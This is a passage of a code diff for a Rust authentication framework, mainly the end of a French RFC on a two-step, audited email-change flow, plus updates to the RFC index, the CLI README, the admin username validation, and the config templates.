916 +
917 +// Ancien chemin : erreur explicite, plus d'ecriture silencieuse
918 +UserService::update_profile(&db, user_id, None, Some("new@example.com".into())).await
919 +// -> Err(AppError::Validation("Email changes are not handled by update_profile; ..."))
920 +
921 +// Recours operateur (remplace PUT /admin/users/{id} pour l'adresse)
922 +EmailChangeService::new(email_config)
923 + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None)
924 + .await?;
925 +// -> ecriture immediate, sessions de la cible revoquees, audit_logs WARN.
926 +\`\`\`
927 +
928 +### Nouvelles routes (canal machine, `merge_machine_routes`)
929 +
930 +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET`
931 +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a
932 +d'effet de bord, donc aucune passerelle anti-phishing qui precharge les liens
933 +ne peut confirmer un changement d'adresse a la place de l'utilisateur.
934 +
935 +| Methode | Chemin | Auth | Effet |
936 +|---|---|---|---|
937 +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande |
938 +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
939 +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement |
940 +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien |
941 +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement |
942 +
943 +Les pages sont du HTML minimal autoportant produit par le core : ni Askama, ni
944 +`rustwarden-ui`, ni JavaScript, ni ressource externe. Un consommateur qui veut
945 +sa propre presentation monte sa propre route `GET` et poste vers la route
946 +`POST` du core.
947 +
948 +### Migration steps
949 +
950 +1. Bump `rustwarden-core` a la version qui livre la RFC 0041.
951 +2. **Jouer la migration SeaORM** `m20260919_000011_pending_email_changes`
952 + (`cargo run --bin migrate`, ou `auto_migrate(true)` au boot). La table est
953 + nouvelle : aucune donnee existante n'est touchee, `down` la supprime.
954 +3. Chercher les appels a `update_profile` qui passent une **nouvelle** adresse :
955 + \`\`\`bash
956 + grep -rn "update_profile" src/
957 + \`\`\`
958 + Les rediriger vers `EmailChangeService::request_change`. Un echo de
959 + l'adresse **courante** reste un no-op : les formulaires qui resoumettent
960 + tous les champs continuent de fonctionner sans modification.
961 +4. **Chemin administrateur : `PUT /admin/users/{id}` ne change plus l'adresse.**
962 + Tout consommateur qui appelait cette route (ou directement
963 + `update_profile` depuis un handler admin) pour corriger l'e-mail d'un
964 + compte doit basculer sur :
965 + \`\`\`rust
966 + EmailChangeService::new(email_config)
967 + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None)
968 + .await?;
969 + \`\`\`
970 + La methode exige que `admin_id` porte le role `admin` (sinon
971 + `AppError::Forbidden`), ecrit l'adresse sans confirmation, revoque les
972 + sessions du compte cible, notifie les deux boites et trace l'operation
973 + dans `audit_logs` (`email_changed_by_admin`, niveau WARN) ainsi que via
974 + `RustwardenHooks::on_audit_event`. C'est la **meme capacite** qu'avant,
975 + mais explicite et auditee au lieu d'etre un effet de bord de la mise a
976 + jour de profil. Le reste de `PUT /admin/users/{id}` (username, roles,
977 + statut) est inchange.
978 +5. Si vous voulez purger les demandes expirees, demarrez vous-meme le
979 + processeur — le framework ne le fait pas :
980 + \`\`\`rust
981 + PendingEmailChangeCleanupProcessor::new(db.clone()).start();
982 + \`\`\`
983 + Retention : 30 jours apres expiration, constante de code, aucune variable
984 + d'environnement a definir. Sans ce demarrage, une purge opportuniste
985 + limitee a l'utilisateur courant s'execute a chaque nouvelle demande.
986 +6. Supprimer tout code applicatif qui, apres un changement d'adresse,
987 + remettait `email_verified` a la main, enqueuait un mail de validation ou
988 + une alerte `account_modified` : le service s'en charge.
989 +7. Supprimer l'appel applicatif a
990 + `PasswordChangeService::invalidate_on_email_change` (il etait typiquement
991 + fait au moment de l'edition du profil) : le core l'emet desormais lui-meme
992 + dans `confirm_change` et `admin_force_change`, c'est-a-dire aux deux seuls
993 + instants ou l'adresse change reellement.
994 +8. Exposer les deux liens dans vos gabarits de mail si vous surchargez les
995 + templates du framework ; sinon les templates du core suffisent (6 locales).
996 + Attention au libelle : le lien **ouvre une page de confirmation**, il ne
997 + confirme pas directement.
998 +9. Verifier SMTP / worker `email_queue` **avant** le bump : sans file d'attente
999 + fonctionnelle, `request_change` echoue (volontairement) au lieu d'ecrire une
1000 + adresse non prouvee.
1001 +10. Cote UI : rien d'obligatoire. Le champ e-mail du formulaire de profil ne
1002 + produit plus d'erreur tant qu'il renvoie l'adresse courante. Les ecrans
1003 + dedies (demande en cours, annulation, double saisie) sont un chantier UI
1004 + separe. Si vous voulez remplacer les pages interstitielles du core par les
1005 + votres, montez vos routes `GET` et postez vers les routes `POST` du core.
1006 +11. Prevenir le support : un utilisateur qui a perdu **a la fois** son mot de
1007 + passe et l'acces a son adresse courante ne peut plus se debloquer seul ;
1008 + c'est un recours administrateur (`admin_force_change`) apres verification
1009 + d'identite hors bande. Une faute de frappe **a l'inscription** releve du
1010 + meme recours : ce flux n'est pas traite par cette RFC.
1011 +
1012 +### Ce qui disparait par rapport a la v1 annoncee (RFC 0038)
1013 +
1014 +- Plus de bascule `email_verified = false` a l'edition du profil.
1015 +- Plus de lock-out sur faute de frappe : la demande expire, le compte n'a
1016 + jamais bouge.
1017 +- Plus de couplage « changement d'adresse => prochain login refuse »
1018 + (interaction avec la RFC 0040 supprimee).
1019 +- Plus de changement d'adresse via `PUT /admin/users/{id}` : la capacite
1020 + operateur existe toujours, mais sous un nom et une trace d'audit qui lui
1021 + sont propres (`admin_force_change`).
1022 +```
1023 +
1024 +Fichiers de documentation à aligner dans le même patch (hors livrables de cette RFC, mais bloquants pour le merge) : `CHANGELOG.md` (section RFC 0038 de l'entrée `1.1.0`), `docs/MIGRATION_GUIDE.md` (§ RFC 0038, dont l'encadré « faute de frappe » devient caduc, **plus** le recours `admin_force_change` et la non-activation du processeur de purge), `docs/SERVICES_REFERENCE.md` (L142 et § L177, à compléter avec `EmailChangeService`, ses méthodes publiques et le processeur de purge), `docs/developer-guide/07-security-model.md` (L24, L392, L407), et `tools/rustwarden-cli/src/templates.rs` (L358-364, ligne commentée du `PendingEmailChangeCleanupProcessor`).
1025 +
1026 +## Open questions
1027 +
1028 +**Toutes tranchées le 2026-09-19 par le mainteneur.** La RFC passe en `Accepted` ; les conséquences sont intégrées au corps du document, section par section.
1029 +
1030 +- [x] **Recours administrateur.** Un admin doit-il pouvoir forcer une adresse sans confirmation (méthode `EmailChangeService::admin_force_change`, tracée dans `audit_logs`), ou le recours passe-t-il par une procédure documentée (reset password + demande faite par l'utilisateur) ? La v1 permettait `PUT /admin/users/{id}` → l'API perd une capacité opérationnelle si on ne tranche pas. **Tranché (2026-09-19) : Méthode dédiée `EmailChangeService::admin_force_change` : écrit l'adresse sans confirmation, exige un acteur administrateur, trace dans `audit_logs` + `on_audit_event`, révoque les sessions du compte cible. La capacité opérationnelle de la v1 est préservée mais devient explicite et auditée, au lieu d'un effet de bord d'`update_profile`.** → § API proposée / 3 (signature + rustdoc), § « `admin_force_change` — séquence et garde-fous », § Testing plan (cas 23-27), § Migration guide (étape 4).
1031 +- [x] **Oracle d'existence d'adresse.** `request_change` renvoie `Email '…' already exists` (message hérité de `update_profile`). Faut-il lui préférer un `202` générique, à la manière de `resend_verification` / `request_reset` qui ne révèlent rien ? **Tranché (2026-09-19) : Garder l'erreur explicite `Email '…' already exists`. L'appel exige le mot de passe courant et est limité à 3/h par utilisateur : l'énumération est impraticable, et un 202 silencieux transformerait une adresse déjà prise en échec invisible pour l'utilisateur légitime.** → aucun changement : § `request_change` étape 4 et § Testing plan cas 5 décrivaient déjà ce comportement.
1032 +- [x] **Confirmation par `GET` et pré-chargement des liens.** On accepte le `GET` par cohérence avec `verify-email/{token}`, au prix d'une confirmation possiblement déclenchée par une passerelle anti-phishing. Faut-il une page interstitielle avec bouton `POST` pour les deux liens, ou seulement pour la confirmation ? **Tranché (2026-09-19) : Page interstitielle sur les DEUX liens (confirmation ET signalement) : le lien ouvre une page servant un formulaire `POST` avec bouton. Aucun préchargement de passerelle anti-phishing ne peut déclencher l'action. Contrainte headless : la page doit être servie par le core sans dépendre de `rustwarden-ui` ni d'Askama — HTML minimal autoportant construit dans le handler, surchargeable par un consommateur qui monte sa propre route.** → § Routes entièrement réécrite (5 routes, tableau des effets, contrainte headless), § Testing plan (cas 18-22), § Migration guide (tableau des routes).
1033 +- [x] **`PasswordChangeService::invalidate_on_email_change`.** Aujourd'hui appelé par l'UI (`settings/profile.rs` L55-68) au moment de l'édition du profil. Doit-il migrer dans `confirm_change` (l'adresse change vraiment à ce moment-là) ou disparaître ? **Tranché (2026-09-19) : Migre dans `EmailChangeService::confirm_change` (côté core). Avec la v2, l'UI n'est plus dans la boucle au moment où l'adresse change réellement : laisser l'appel dans le handler UI le perdrait silencieusement.** → § `confirm_change` étape 9, § `admin_force_change` étape 7, § 6 (adaptation UI), § Testing plan (cas 17), § Migration guide (étape 7).
1034 +- [x] **`on_email_verified` sur `confirm_change`.** Le hook est aujourd'hui émis uniquement par le handler `verify_email` (`auth/handlers.rs` L1222) après consommation d'un token `EmailValidationService`. L'émettre depuis `EmailChangeService` élargit son contrat — cohérent, mais à confirmer par le mainteneur. Dispatch côté **service** ou côté **handler** ? **Tranché (2026-09-19) : Émis depuis `confirm_change`, dispatch côté service (patron `AuthLoggingService`). L'adresse est prouvée par le clic : le contrat du hook (« l'adresse du compte est désormais prouvée ») reste cohérent.** → § `confirm_change` étape 11, § Testing plan (cas 16). Corollaire explicité : `admin_force_change` **n'émet pas** ce hook, faute de preuve de possession.
1035 +- [x] **Rétention.** Purge opportuniste + `cleanup_expired` public, ou `PendingEmailChangeCleanupProcessor` en bonne et due forme — sachant que `PersonalTokenCleanupProcessor` et `PasswordChangeCleanupProcessor` ne sont **pas** démarrés par `app.rs` aujourd'hui ? Et 30 jours en constante, ou une variable d'environnement ? **Tranché (2026-09-19) : `PendingEmailChangeCleanupProcessor` en bonne et due forme, calqué sur `PersonalTokenCleanupProcessor`, plus une méthode publique `cleanup_expired`. Rétention 30 jours en constante, pas de nouvelle variable d'environnement. Documenter — comme pour les processeurs existants — que `app.rs` ne le démarre pas automatiquement et que le consommateur doit appeler `.start()`.** → § 8 « Rétention et tâche de fond » réécrite, § Testing plan (cas 28-30), § Migration guide (étape 5).
1036 +- [x] **Faute de frappe à l'inscription.** Cette RFC ferme la faute de frappe au **changement** d'adresse, pas à l'**inscription** (`register` écrit l'adresse saisie, non vérifiée). Un utilisateur qui se trompe au signup reste bloqué. RFC séparée, ou double saisie imposée côté `register` ? **Tranché (2026-09-19) : Hors périmètre : `register` écrit l'adresse saisie sans double vérification, un utilisateur qui se trompe au signup reste bloqué. Flux distinct (compte non encore établi, aucune identité à protéger) qui mérite son propre arbitrage (double saisie vs renvoi de lien). À déclarer en Non-goal + follow-up.** → § Non-goals (bullet `register` développé + follow-up), § Migration guide (étape 11).
1037 +- [x] **Locale des e-mails.** Lecture de `user_preferences.language` pour les nouveaux templates uniquement, ou extension au même mouvement des templates existants (`email_validation`, `password_reset`, `welcome`) qui codent `Some("fr")` en dur ? **Tranché (2026-09-19) : Les trois nouveaux templates lisent la préférence utilisateur ; la dette des templates existants qui codent `Some("fr")` en dur est traitée séparément.** → § 7 inchangée sur le principe. *Note de périmètre : les templates sont passés de trois à quatre (`email_change_by_admin`, conséquence de la décision n° 1) ; la règle « les nouveaux templates lisent la préférence, les anciens ne sont pas retouchés » s'applique aux quatre.*
1038 +- [x] **Tracking.** Ouvrir une issue GitHub avant le passage en `Under Review` ? **Tranché (2026-09-19) : Suivi interne via `docs/plans/`, pas d'issue externe.** → § Tracking ci-dessous.
1039 +
1040 +## Tracking
1041 +
1042 +**Tranché le 2026-09-19 : suivi interne, pas d'issue GitHub.** Le suivi de l'implémentation vit dans `docs/plans/`, versionné avec le code, au même titre que les autres chantiers du dépôt — la RFC elle-même tenant lieu de référence stable. Pas d'URL externe à maintenir, pas de risque de divergence entre une issue et le document.
1043 +
1044 +À référencer depuis le plan d'implémentation : la RFC 0038 que celle-ci remplace, la § « v2 (follow-up) » de cette dernière, et l'encadré « faute de frappe = lock-out » de `docs/MIGRATION_GUIDE.md` (qui devient caduc au merge).
1045 +
1046 +Follow-ups identifiés, à suivre dans `docs/plans/` eux aussi, chacun hors périmètre de cette RFC :
1047 +
1048 +1. **Faute de frappe à l'inscription** (décision n° 7) — double saisie au formulaire d'inscription *vs* renvoi de lien *vs* purge des comptes jamais validés.
1049 +2. **Refonte UI du parcours de changement d'adresse** — écran « demande en cours », annulation, double saisie, suivi côté admin.
1050 +3. **Dette i18n des templates existants** (décision n° 8) — `email_validation`, `password_reset`, `welcome` codent `Some("fr")` en dur.
1051 +4. **`verify-email/{token}` agit toujours sur `GET`** — la page interstitielle n'a été imposée qu'au nouveau flux ; aligner l'ancien est un chantier distinct, avec sa propre compatibilité à gérer (les liens déjà envoyés doivent continuer de fonctionner).
1052 +
1053 +---
1054 +
1055 +## Score d'évaluation
1056 +
1057 +Notes **arrêtées à l'acceptation du 2026-09-19**, après intégration des neuf arbitrages. Seuil Accepted : ≥ 25/35.
1058 +
1059 +| Critère | Note (1-5) | Commentaire |
1060 +|---|---|---|
1061 +| Généralité | 5 | Core uniquement, aucune dépendance UI — la contrainte headless posée sur les pages interstitielles le garantit désormais explicitement. Un point d'entrée unique pour Gitrust, `rustwarden-ui` et toute app headless, **utilisateur comme opérateur** (`admin_force_change`) ; remplace N implémentations divergentes. |
1062 +| Stabilité API | 3 | Ajout pur côté items publics (**tout consommateur compile**), mais breaking comportemental assumé sur `update_profile` + une nouvelle table. Atténué : la v1 n'a jamais été publiée, personne ne migre depuis elle. Note inchangée malgré `admin_force_change` : c'est un ajout pur, et le consommateur qui changeait une adresse via `PUT /admin/users/{id}` était de toute façon déjà impacté par le breaking comportemental. |
1063 +| Performance | 4 | Aucun hot path touché. Un bcrypt sur `request_change`, limité à 3/h par utilisateur et couvert par le budget IP ; un `SELECT` indexé et deux `UPDATE` sur `confirm_change`. Les `GET` interstitiels ajoutent un `SELECT` indexé sur un chemin rare et non authentifié ; la purge s'exécute sur une table de travail de petite taille. |
1064 +| Sécurité | 5 | Supprime la classe des lock-out par changement d'adresse, exige une re-authentification mot de passe, révoque les sessions, alerte l'ancienne boîte avec un moyen d'action, trace dans `audit_logs` et `on_audit_event`. Les arbitrages **renforcent** encore ce critère : aucun `GET` n'écrit (immunité au préchargement des passerelles), le recours admin est authentifié par rôle et audité au lieu d'être un effet de bord, et l'invalidation des demandes de changement de mot de passe ne peut plus être perdue par un consommateur sans UI. |
1065 +| Complexité d'implémentation | 1 | **Abaissée de 2 à 1 le 2026-09-19** : les arbitrages élargissent nettement le périmètre. Au chantier initial (migration + modèle + service + 3 templates × 6 locales + retrait du code v1 — `update_profile` L277-301 et `notify_email_change` L327-419 — + adaptation UI minimale) s'ajoutent : `admin_force_change` avec sa vérification de rôle et son audit propre, **5 routes au lieu de 3** (page interstitielle `GET` → `POST` sur les deux liens), un rendu HTML autoportant sans templating ni JS avec ses propres libellés i18n, un **4ᵉ** template d'e-mail, et un `PendingEmailChangeCleanupProcessor`. C'est le chantier le plus lourd du train, de loin. |
1066 +| Charge de maintenance | 3 | Une table de plus avec politique de rétention et PII en clair ; ~24 blocs de traduction (4 e-mails + pages interstitielles × 6 locales) ; deux flux de tokens à garder cohérents avec `EmailValidationService` ; un processeur de purge de plus dans le catalogue — mais non démarré par défaut, donc sans coût d'exploitation imposé. Compensé par la suppression du code v1 et de ses cas limites, et par le fait qu'aucune variable d'environnement n'est ajoutée. |
1067 +| Documentation | 5 | **Relevée de 4 à 5 le 2026-09-19** : la déduction portait sur le recours admin « resté en Open question », qui est désormais spécifié, testé et documenté de bout en bout (rustdoc, séquence, migration guide). RFC + CHANGELOG + MIGRATION_GUIDE + SERVICES_REFERENCE + security-model + rustdoc anglais et doctest sur chaque item public, y compris le processeur de purge et sa non-activation par défaut. L'UI complète reste à faire, mais c'est un **Non-goal explicite** assorti d'un follow-up nommé — une décision documentée, pas un trou de documentation. |
1068 +| **Total** | **26/35** | Inchangé : −1 sur la complexité d'implémentation (périmètre élargi par les décisions 1, 3 et 6), +1 sur la documentation (les neuf Open questions sont tranchées et leurs conséquences écrites). ≥ 25 → **Accepted**, implémentable. |
1069 +
1070 +**Lecture de l'ajustement.** Le total identique n'est pas une commodité : les arbitrages ont déplacé du coût depuis l'incertitude (« on verra à l'implémentation ») vers le travail explicite (« il y a 5 routes, une page HTML à écrire, une méthode admin et un processeur »). Le périmètre a grossi — d'où le −1 en complexité — mais il n'y a plus de zone non spécifiée — d'où le +1 en documentation. Le seuil de 25 reste franchi avec une marge de 1 point ; l'implémentation devra rester dans le périmètre décrit, toute extension supplémentaire justifiant une nouvelle RFC plutôt qu'un élargissement silencieux de celle-ci.
M docs/rfcs/README.md
+13 -0
@@ -87,9 +87,22 @@ Score minimum **25/35** pour passer en `Accepted`. Voir grille détaillée dans
87 87 | 0026-0028 | _réservés_ pour travaux framework en cours (cf. backlog interne) | — | — | — |
88 88 | [0029](0029-fediverse-remote-resource-shares.md) | Fediverse — `RemoteResourceShareService` (partages cross-instance de ressources génériques) | **Accepted** (33/35, livré + 11 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 |
89 89 | [0030](0030-fediverse-remote-personal-access-tokens.md) | Fediverse — `RemotePersonalAccessTokenService` (PAT pour identités remote) | **Accepted** (34/35, livré + 20 tests E2E verts) | EBO (origine gitrust) | 2026-05-15 |
90 +| [0031](0031-auth-service-optional-fallback.md) | Auth — fallback `AuthConfig::from_env()` sur la branche optional de `AuthService` | **Accepted** (implémenté 2026-05-16) | EBO (gitrust) | 2026-05-16 |
91 +| [0032](0032-fediverse-event-observer-delete-actor.md) | Fediverse — `on_delete_actor` sur `FediverseEventObserver` | **Draft** | EBO (gitrust) | 2026-05-17 |
92 +| [0033](0033-fediverse-delete-actor-hooks-unification.md) | Fediverse — unifier `apply_delete_actor*` derrière `DeleteActorHooks` | **Implemented** | EBO | 2026-05-17 |
93 +| [0034](0034-edition-2024-fmt-cleanup.md) | Workspace — cleanup rustfmt après migration édition 2024 | **Draft** | EBO (gitrust) | 2026-05-18 |
94 +| [0035](0035-oauth-pkce-code-verifier.md) | OAuth — envoyer `code_verifier` PKCE à l'échange (GitHub & Discord) | **Implemented** (2026-06-18) | PasterMan | 2026-06-18 |
95 +| [0036](0036-username-charset-validation.md) | Auth — newtype `Username` (charset GitHub-like, audit M-1) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / Rustwarden 1.0.1) | 2026-09-18 |
96 +| [0037](0037-totp-last-used-step.md) | Auth — persister `last_used_step` TOTP (anti-rejeu multi-instance, audit M-7) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
97 +| [0038](0038-email-change-revalidation.md) | Auth — revalidation e-mail à `UserService::update_profile` | **Superseded by [0041](0041-pending-email-changes.md)** (2026-09-19 ; était Accepted 2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
98 +| [0039](0039-security-headers-config.md) | HTTP — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
99 +| [0040](0040-authenticate-user-email-verified.md) | Auth — `authenticate_user` honore `validation_email_required` | **Accepted** (2026-09-18) | EBO (origine audit Gitrust / patch 1.0.1) | 2026-09-18 |
100 +| [0041](0041-pending-email-changes.md) | Auth — changement d'e-mail en deux temps (`pending_email_changes`) — **remplace la [0038](0038-email-change-revalidation.md)** | **Accepted** (2026-09-19) | EBO (origine audit Gitrust / suite de la RFC 0038) | 2026-09-19 |
90 101
91 102 À mesure que les RFCs sont créées, elles doivent apparaître dans cette table avec leur statut courant.
92 103
104 +> **Note sur la RFC 0038** : sa v1 (écriture immédiate de `users.email` + un-verify) n'a **jamais été diffusée** — le train `1.1.0` n'était pas coupé au moment de sa substitution. La [RFC 0041](0041-pending-email-changes.md) la remplace dans le **même** train : les consommateurs ne verront jamais le comportement v1. Le document 0038 est conservé intact comme trace de décision.
105 +
93 106 > **Note sur les RFCs 0029-0030** : ces deux RFCs trouvent leur origine côté gitrust (premier consommateur), tracking dans [`gitrust/`](gitrust/), évaluation détaillée dans [`docs/plans/2026-05-15-rfcs-gitrust-evaluation.md`](../plans/2026-05-15-rfcs-gitrust-evaluation.md). Une 3ᵉ RFC initialement proposée (`gitrust-0003 RemoteTeamMembershipService`) a été **rejetée** car la capacité est déjà livrée par les RFCs 0008/0009.
94 107
95 108 ## RFCs liées au plan fediverse
M tools/rustwarden-cli/README.md
+10 -2
@@ -149,7 +149,9 @@ Apres la copie des crates et des ressources, le wizard effectue automatiquement
149 149 ```bash
150 150 cd mon-app
151 151
152 -# 1. Demarrer PostgreSQL
152 +# 1. PostgreSQL n'ecoute que 127.0.0.1:5432. Copier env.sample vers .env
153 +# et definir POSTGRES_PASSWORD (obligatoire, pas de mot de passe par defaut).
154 +cp database/env.sample database/.env
153 155 cd database && docker compose up -d && cd ..
154 156
155 157 # 2. Lancer l'application
@@ -188,6 +190,9 @@ cargo run -p rustwarden-cli -- update-project
188 190 | `locales/` | Remplace |
189 191 | `static/` | Remplace (si le projet a une UI) |
190 192 | `database/` | Remplace en preservant `database/.env` |
193 +| `docs/SERVICES_REFERENCE.md` | Ecrase depuis le framework (source de verite API) |
194 +| `docs/MIGRATION_GUIDE.md` | Ecrase depuis le framework (breaking + actions consommateur) |
195 +| `docs/fediverse-consumer-guide.md` | Ecrase si le projet a la federation |
191 196
192 197 ### Fichiers jamais touches
193 198
@@ -215,7 +220,10 @@ cargo clippy -- -D warnings
215 220 # 3. Verifier les migrations
216 221 cargo run --bin migrate
217 222
218 -# 4. Lancer les tests
223 +# 4. Lire les notes consommateur (dont Security 1.0.1)
224 +# docs/MIGRATION_GUIDE.md puis docs/SERVICES_REFERENCE.md (bandeau)
225 +
226 +# 5. Lancer les tests
219 227 cargo test
220 228 ```
221 229
M tools/rustwarden-cli/src/start_project.rs
+42 -0
@@ -352,11 +352,53 @@ fn ask_database_config(
352 352 Ok((db_name, db_user, db_password))
353 353 }
354 354
355 +/// Validate an admin username against the RFC 0036 charset rules.
356 +///
357 +/// The framework's `Username::parse_allow_reserved` is `pub(crate)` inside
358 +/// `rustwarden-core`, so it cannot be reused here; the rule is reimplemented
359 +/// locally and kept in sync manually.
360 +/// Source of truth: `docs/rfcs/0036-username-charset-validation.md` and
361 +/// `crates/rustwarden-core/src/types/username.rs`.
362 +///
363 +/// Reserved names (`admin`, …) are deliberately accepted: the bootstrap path
364 +/// (`ensure_default_admin`) goes through `parse_allow_reserved`.
365 +fn validate_admin_username(raw: &str) -> Result<(), String> {
366 + const RULE: &str = "minuscules, chiffres et tirets uniquement, 3 à 39 caractères, \
367 + sans '--', sans tiret en début ou en fin";
368 +
369 + let s = raw.trim();
370 + if s.len() < 3 || s.len() > 39 {
371 + return Err(format!(
372 + "Username admin invalide ({RULE}) : longueur hors 3-39"
373 + ));
374 + }
375 + if s.starts_with('-') || s.ends_with('-') {
376 + return Err(format!(
377 + "Username admin invalide ({RULE}) : tiret en début ou en fin"
378 + ));
379 + }
380 + if s.contains("--") {
381 + return Err(format!("Username admin invalide ({RULE}) : '--' interdit"));
382 + }
383 + if !s
384 + .chars()
385 + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-')
386 + {
387 + return Err(format!(
388 + "Username admin invalide ({RULE}) : caractère hors [a-z0-9-] \
389 + (les majuscules sont refusées, pas de '_' ni de '.')"
390 + ));
391 + }
392 + Ok(())
393 +}
394 +
355 395 fn ask_admin_config() -> Result<(String, String, String), Box<dyn std::error::Error>> {
356 396 let username: String = Input::new()
357 397 .with_prompt(format!("{}", style("Username admin").cyan()))
358 398 .default("admin".into())
399 + .validate_with(|input: &String| -> Result<(), String> { validate_admin_username(input) })
359 400 .interact_text()?;
401 + let username = username.trim().to_string();
360 402
361 403 let email: String = Input::new()
362 404 .with_prompt(format!("{}", style("Email admin").cyan()))
M tools/rustwarden-cli/src/templates.rs
+15 -2
@@ -365,6 +365,17 @@ async fn whoami(
365 365 //
366 366 // Voir: docs/SERVICES_REFERENCE.md#7-tokens-et-sessions
367 367 //
368 +// Purge des demandes de changement d'e-mail expirees (RFC 0041).
369 +// Comme ci-dessus, le framework ne demarre pas ce processeur : retention de
370 +// 30 jours apres expiration, aucune variable d'environnement a definir. Sans
371 +// lui, seule une purge opportuniste limitee a l'utilisateur courant s'execute
372 +// a chaque nouvelle demande.
373 +//
374 +// // use rustwarden_core::prelude::PendingEmailChangeCleanupProcessor;
375 +// // PendingEmailChangeCleanupProcessor::new(db_arc.clone()).start();
376 +//
377 +// Voir: docs/SERVICES_REFERENCE.md#emailchangeservice
378 +//
368 379 // Hooks lifecycle (on_user_registered, on_team_created, on_totp_enabled, ...).
369 380 // Implementer `RustwardenHooks` et passer l'instance via `.hooks(MyHooks)` au
370 381 // builder. Voir DEVELOPER.md §12.
@@ -608,7 +619,8 @@ SERVER_PORT=3000
608 619 RUST_LOG=debug
609 620
610 621 # --- JWT ---
611 -JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE
622 +# Required. Generate a unique secret, e.g.: openssl rand -hex 32
623 +# JWT_SECRET=
612 624 JWT_EXPIRATION_MINUTES=15
613 625 JWT_ISSUER=mon-app
614 626 REFRESH_TOKEN_EXPIRATION_DAYS=7
@@ -631,7 +643,8 @@ COOKIE_SAME_SITE=Lax
631 643 # --- Admin initial ---
632 644 ADMIN_USERNAME=admin
633 645 ADMIN_EMAIL=admin@example.com
634 -ADMIN_PASSWORD=REMPLACER_PAR_UN_MOT_DE_PASSE_FORT
646 +# ADMIN_PASSWORD — requis pour creer l'admin au premier boot ; omettre pour ignorer.
647 +# Ne pas copier un placeholder.
635 648
636 649 # --- Email SMTP ---
637 650 SMTP_HOST=smtp.example.com